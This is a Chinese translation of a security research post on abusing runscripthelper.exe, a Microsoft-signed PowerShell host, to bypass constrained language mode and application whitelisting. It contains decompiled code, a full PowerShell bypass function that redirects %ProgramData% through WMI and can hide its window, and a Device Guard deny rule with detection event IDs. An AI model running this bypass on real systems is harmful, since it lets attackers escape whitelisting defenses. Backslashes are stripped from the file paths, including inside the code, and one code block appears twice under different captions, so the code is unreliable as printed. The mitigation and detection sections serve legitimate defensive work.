导语:在我们的PowerShell课程的实验室中,我偶然发现了一个微软签名的在system32 路径的PowerShell宿主进程—— runscripthelper.exe。
简介
在PowerShell课程实验室中,我偶然发现了一个路径在system32 且是微软签名过的PowerShell宿主进程—— runscripthelper.exe。该程序是在Windows 10 RS3中引入的,它所做的事情是从一个特定的目录读取PowerShell代码并执行这些代码。这个程序是执行PowerShell代码的一种方式,并且它可以被用来绕过约束语言模式(即通用的应用程序白名单绕过)。这里是runscripthelper.exe反编译后的入口点方法:
public static void ProcessSurfaceCheckScript(string scriptPath, string outputPath)
{
if (!File.Exists(scriptPath))
{
throw new Exception("Script does not exist");
}
if (!Directory.Exists(outputPath))
{
throw new Exception("Output path does not exist");
}
PowerShell powerShell = PowerShell.Create();
powerShell.AddScript("Set-ExecutionPolicy -Scope Process unrestricted");
powerShell.AddScript("$InvokedFromUIF = $true");
powerShell.AddScript("$FailureText = "UIF"");
powerShell.AddScript("$ScriptPath = "" + Path.GetDirectoryName(scriptPath) + """);
powerShell.AddScript("$LogDir = "" + outputPath + """);
SurfaceCheckProcessor.ReadCmdlets(powerShell, scriptPath);
string script = File.ReadAllText(scriptPath);
powerShell.AddScript(script);
powerShell.Invoke();
if (powerShell.HadErrors)
{
foreach (ErrorRecord current in powerShell.Streams.Error)
{
Console.WriteLine("Error: " + current);
Console.WriteLine("Exception: " + current.Exception);
Console.WriteLine("Inner Exception: " + current.Exception.InnerException);
}
}
}
runscripthelper.exe的入口点
你可以从代码中看到,该程序接受了三个命令行参数:
1. 为了传入第二个和第三个命令行参数来执行ProcessSurfaceCheckScript方法,第一个参数必须要是“surfacecheck”。
2. 第二个命令行参数包含了脚本的完整路径,与全局变量“k_utcScriptPath” 的值——?%ProgramData%MicrosoftDiagnosisscripts 进行了比较。
3. 第三个命令行参数是一个已存在的目录的路径。命令输出将会记录到此目录。
通过上面的分析,我们可以发现该程序以 “约束语言模式”执行了一个必须位于%ProgramData% MicrosoftDiagnosisscripts目录中的脚本。默认情况下(至少在我的系统上),标准用户不具有对该目录的写入权限。理想情况下,我会使用一个非高权限的用户来尝试进行绕过。所以,如果我可以以某种方式控制runscripthelper.exe启动%ProgramData%的内容,那么我就可以让程序从我控制的目录执行一个脚本。回到代码中,让我们先来看看ProcessSurfaceCheckScript方法,看看它执行的是什么内容:
public static void ProcessSurfaceCheckScript(string scriptPath, string outputPath)
{
if (!File.Exists(scriptPath))
{
throw new Exception("Script does not exist");
}
if (!Directory.Exists(outputPath))
{
throw new Exception("Output path does not exist");
}
PowerShell powerShell = PowerShell.Create();
powerShell.AddScript("Set-ExecutionPolicy -Scope Process unrestricted");
powerShell.AddScript("$InvokedFromUIF = $true");
powerShell.AddScript("$FailureText = "UIF"");
powerShell.AddScript("$ScriptPath = "" + Path.GetDirectoryName(scriptPath) + """);
powerShell.AddScript("$LogDir = "" + outputPath + """);
SurfaceCheckProcessor.ReadCmdlets(powerShell, scriptPath);
string script = File.ReadAllText(scriptPath);
powerShell.AddScript(script);
powerShell.Invoke();
if (powerShell.HadErrors)
{
foreach (ErrorRecord current in powerShell.Streams.Error)
{
Console.WriteLine("Error: " + current);
Console.WriteLine("Exception: " + current.Exception);
Console.WriteLine("Inner Exception: " + current.Exception.InnerException);
}
}
}
runShelperper.exe中的PowerShell调用方法
因此,从代码中可以看到,ProcessSurfaceCheckScript方法读取了脚本的内容(顺便说一句,这里读取文件的时候忽略了文件扩展名)并执行该脚本。在运行了AppLocker或Device Guard(现在是由Windows Defender应用程序控制)的系统上,由于该程序可能会作为Microsoft发布程序规则的一部分被列入了白名单,因此,在此过程中执行的任何PowerShell代码都将以“完整语言模式”执行,并在 “约束语言模式”下对攻击者的行为进行限制。
武器化
作为攻击者,我们需要控制%ProgramData%的内容,使其指向我们控制的目录。可能有多种方法做到这一点,我所知道的方法之一是在调用Win32_Process创建一个Win32_ProcessStartup类的实例中设置EnvironmentVariables属性。另外,WMI还提供了远程调用的能力,同时还有几个WMI宿主应用程序不太可能被应用程序白名单策略阻止。另外,如果你没有正确传递一些环境变量,那么很多子进程将无法正常加载。
我使用了控制环境变量并传递给runscripthelper.exe这种方式,以下是一个可以执行我们的有效负载的命令行调用示例:
runscripthelper.exe surfacecheck ?C:TestMicrosoftDiagnosisscriptstest.txt C:Test
下面是一个使用PowerShell实现的绕过代码:
function Invoke-RunScriptHelperExpression {
<#
.SYNOPSIS
Executes PowerShell code in full language mode in the context of runscripthelper.exe.
.DESCRIPTION
Invoke-RunScriptHelperExpression executes PowerShell code in the context of runscripthelper.exe - a Windows-signed PowerShell host application which appears to be used for telemetry collection purposes. The PowerShell code supplied will run in FullLanguage mode and bypass constrained language mode.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
.PARAMETER ScriptBlock
Specifies the PowerShell code to execute in the context of runscripthelper.exe
.PARAMETER RootDirectory
Specifies the root directory where the "MicrosoftDiagnosisscripts" directory structure will be created. -RootDirectory defaults to the current directory.
.PARAMETER ScriptFileName
Specifies the name of the PowerShell script to be executed. The script file can be any file extension. -ScriptFileName defaults to test.txt.
.PARAMETER HideWindow
Because Invoke-RunScriptHelperExpression launches a child process in a new window (due to how Win32_Process.Create works), -HideWindow launches a hidden window.
.EXAMPLE
$Payload = {
# Since this is running inside a console app,
# you need the Console class to write to the screen.
[Console]::WriteLine('Hello, world!')
$LanguageMode = $ExecutionContext.SessionState.LanguageMode
[Console]::WriteLine("My current language mode: $LanguageMode")
# Trick to keep the console window up
$null = [Console]::ReadKey()
}
Invoke-RunScriptHelperExpression -ScriptBlock $Payload
.OUTPUTS
System.Diagnostics.Process
Outputs a process object for runscripthelper.exe. This is useful if it later needs to be killed manually with Stop-Process.
#>
[CmdletBinding()]
[OutputType([System.Diagnostics.Process])]
param (
[Parameter(Mandatory = $True)]
[ScriptBlock]
$ScriptBlock,
[String]
[ValidateNotNullOrEmpty()]
$RootDirectory = $PWD,
[String]
[ValidateNotNullOrEmpty()]
$ScriptFileName = 'test.txt',
[Switch]
$HideWindow
)
$RunscriptHelperPath = "$Env:windirSystem32runscripthelper.exe"
# Validate that runscripthelper.exe is present
$null = Get-Item -Path $RunscriptHelperPath -ErrorAction Stop
# Optional: Since not all systems will have runscripthelper.exe, you could compress and
# encode the binary here and then drop it. That's up to you. This is just a PoC.
$ScriptDirFullPath = Join-Path -Path (Resolve-Path -Path $RootDirectory) -ChildPath 'MicrosoftDiagnosisscripts'
Write-Verbose "Script will be saved to: $ScriptDirFullPath"
# Create the directory path expected by runscripthelper.exe
if (-not (Test-Path -Path $ScriptDirFullPath)) {
$ScriptDir = mkdir -Path $ScriptDirFullPath -ErrorAction Stop
} else {
$ScriptDir = Get-Item -Path $ScriptDirFullPath -ErrorAction Stop
}
$ScriptFullPath = "$ScriptDirFullPath$ScriptFileName"
# Write the payload to disk - a requirement of runscripthelper.exe
Out-File -InputObject $ScriptBlock.ToString() -FilePath $ScriptFullPath -Force
$CustomProgramFiles = "ProgramData=$(Resolve-Path -Path $RootDirectory)"
Write-Verbose "Using the following for %ProgramData%: $CustomProgramFiles"
# Gather up all existing environment variables except %ProgramData%. We're going to supply our own, attacker controlled path.
[String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:* -Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" }
# Attacker-controlled %ProgramData% being passed to the child process.
$AllEnvVarsExceptLockdownPolicy += $CustomProgramFiles
# These are all the environment variables that will be explicitly passed on to runscripthelper.exe
$StartParamProperties = @{ EnvironmentVariables = $AllEnvVarsExceptLockdownPolicy }
$Hidden = [UInt16] 0
if ($HideWindow) { $StartParamProperties['ShowWindow'] = $Hidden }
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties
$RunscriptHelperCmdline = "$RunscriptHelperPath surfacecheck ?$ScriptFullPath $ScriptDirFullPath"
Write-Verbose "Invoking the following command: $RunscriptHelperCmdline"
# Give runscripthelper.exe what it needs to execute our malicious PowerShell.
$Result = Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $RunscriptHelperCmdline
ProcessStartupInformation = $StartParams
}
if ($Result.ReturnValue -ne 0) {
throw "Failed to start runscripthelper.exe"
return
}
$Process = Get-Process -Id $Result.ProcessId
$Process
# When runscripthelper.exe exits, clean up the script and the directories.
# I'm using proper eventing here because if you immediately delete the script from
# disk then it will be gone before runscripthelper.exe has an opportunity to execute it.
$Event = Register-ObjectEvent -InputObject $Process -EventName Exited -SourceIdentifier 'RunscripthelperStopped' -MessageData "$RootDirectoryMicrosoft" -Action {
Remove-Item -Path $Event.MessageData -Recurse -Force
Unregister-Event -SourceIdentifier $EventSubscriber.SourceIdentifier
}
}
使用PowerShell绕过runscripthelper.exe
为了说明可以在不使用PowerShell的情况下执行绕过,我做了进一步的演示,下面是使用wbemtest.exe执行绕过的演示视频:
在wbemtest.exe示例中,我的有效载荷存储在 C:TestMicrosoftDiagnosisscriptstest.txt 文件中。 我还提供了以下环境变量:
“LOCALAPPDATA=C:Test” “Path=C:WINDOWSsystem32;C:WINDOWS” “SystemRoot=C:WINDOWS” “SESSIONNAME=Console” “CommonProgramFiles=C:Program FilesCommon Files” “SystemDrive=C:” “TEMP=C:Test” “ProgramFiles=C:Program Files” “TMP=C:Test” “windir=C:WINDOWS” “ProgramData=C:Test”
缓解措施
如果你使用了Device Guard(现在由Windows Defender应用程序控制),则可以通过将以下规则合并到现有策略中来阻止此二进制文件,具体的指导说明在这里找到:
<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
<VersionEx>10.0.0.0</VersionEx>
<PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
<Rules>
<Rule>
<Option>Enabled:Unsigned System Integrity Policy</Option>
</Rule>
</Rules>
<!--EKUS-->
<EKUs />
<!--File Rules-->
<FileRules>
<Deny ID="ID_DENY_D_1" FriendlyName="runscripthelper.exe FileRule" FileName="runscripthelper.exe" MinimumFileVersion="65535.65535.65535.65535" />
</FileRules>
<!--Signers-->
<Signers />
<!--Driver Signing Scenarios-->
<SigningScenarios>
<SigningScenario Value="12" ID="ID_SIGNINGSCENARIO_WINDOWS" FriendlyName="runscripthelper.exe bypass mitigation">
<ProductSigners>
<FileRulesRef>
<FileRuleRef RuleID="ID_DENY_D_1" />
</FileRulesRef>
</ProductSigners>
</SigningScenario>
</SigningScenarios>
<UpdatePolicySigners />
<CiSigners />
<HvciOptions>0</HvciOptions>
</SiPolicy>
检测
通过runscripthelper.exe执行的PowerShell代码(与任何PowerShell宿主进程一样)可以使用脚本块日志记录功能进行记录,并会相应地生成ID为 4014 的事件 。

脚本块日志记录的绕过事件示例
此外,“Windows PowerShell”事件日志中的事件ID为 400的事件可以捕获runscripthelper.exe的命令行上下文。

执行引擎日志记录的绕过事件的示例
什么是runscripthelper.exe?
在这个二进制文件中的以下字符串,我认为是比较关键的:
1. InvokedFromUIF
2. k_utcScriptPath
把上面的关键字经过Google搜索后,可以发现,UIF代表的意思是“用户发起的反馈”,UTC的意思是“统一遥测客户端”。 显然,这个二进制文件是用于某种遥测收集目的。 微软推送未签名的PowerShell代码(可能没有经过质量保证测试)到我的电脑中,并执行了这些代码。我非常乐意在我的Device Guard代码完整性策略中阻止此二进制文件的执行。
结论
所以,这里还有另一个可以被滥用的签名应用程序,并且进一步证明这些被执行的二进制文件类型是没有限制的,因为每个Windows版本都会引入新的二进制文件。 这也有助于确认应用程序白名单(AWL)面临的基本挑战之一是为了拥有一个可启动的实用更新功能的系统,你往往需要将Microsoft签名的任何代码列入白名单。 作为一个产品,那些认真维护强大的白名单的人需要积极地监控这样的绕过方式,并相应地更新黑名单规则。 根据白名单解决方案,这样的黑名单规则可能是有效的。 名单只是难以维护,随着绕过方式的增多名单会一直增长。 只是要清楚,这不是AWL的缺陷,这只是一个挑战。 我个人使用AWL,并且不能说是足够的有效。 绝大多数的攻击者仍然会放弃使用不可信的脚本/二进制文件,即使是最基本的白名单策略也是起不到什么作用的。
独立于AWL,这样的一个被滥用的二进制文件也能使攻击者能够躲藏在一个良性的,“可信”的应用程序之后。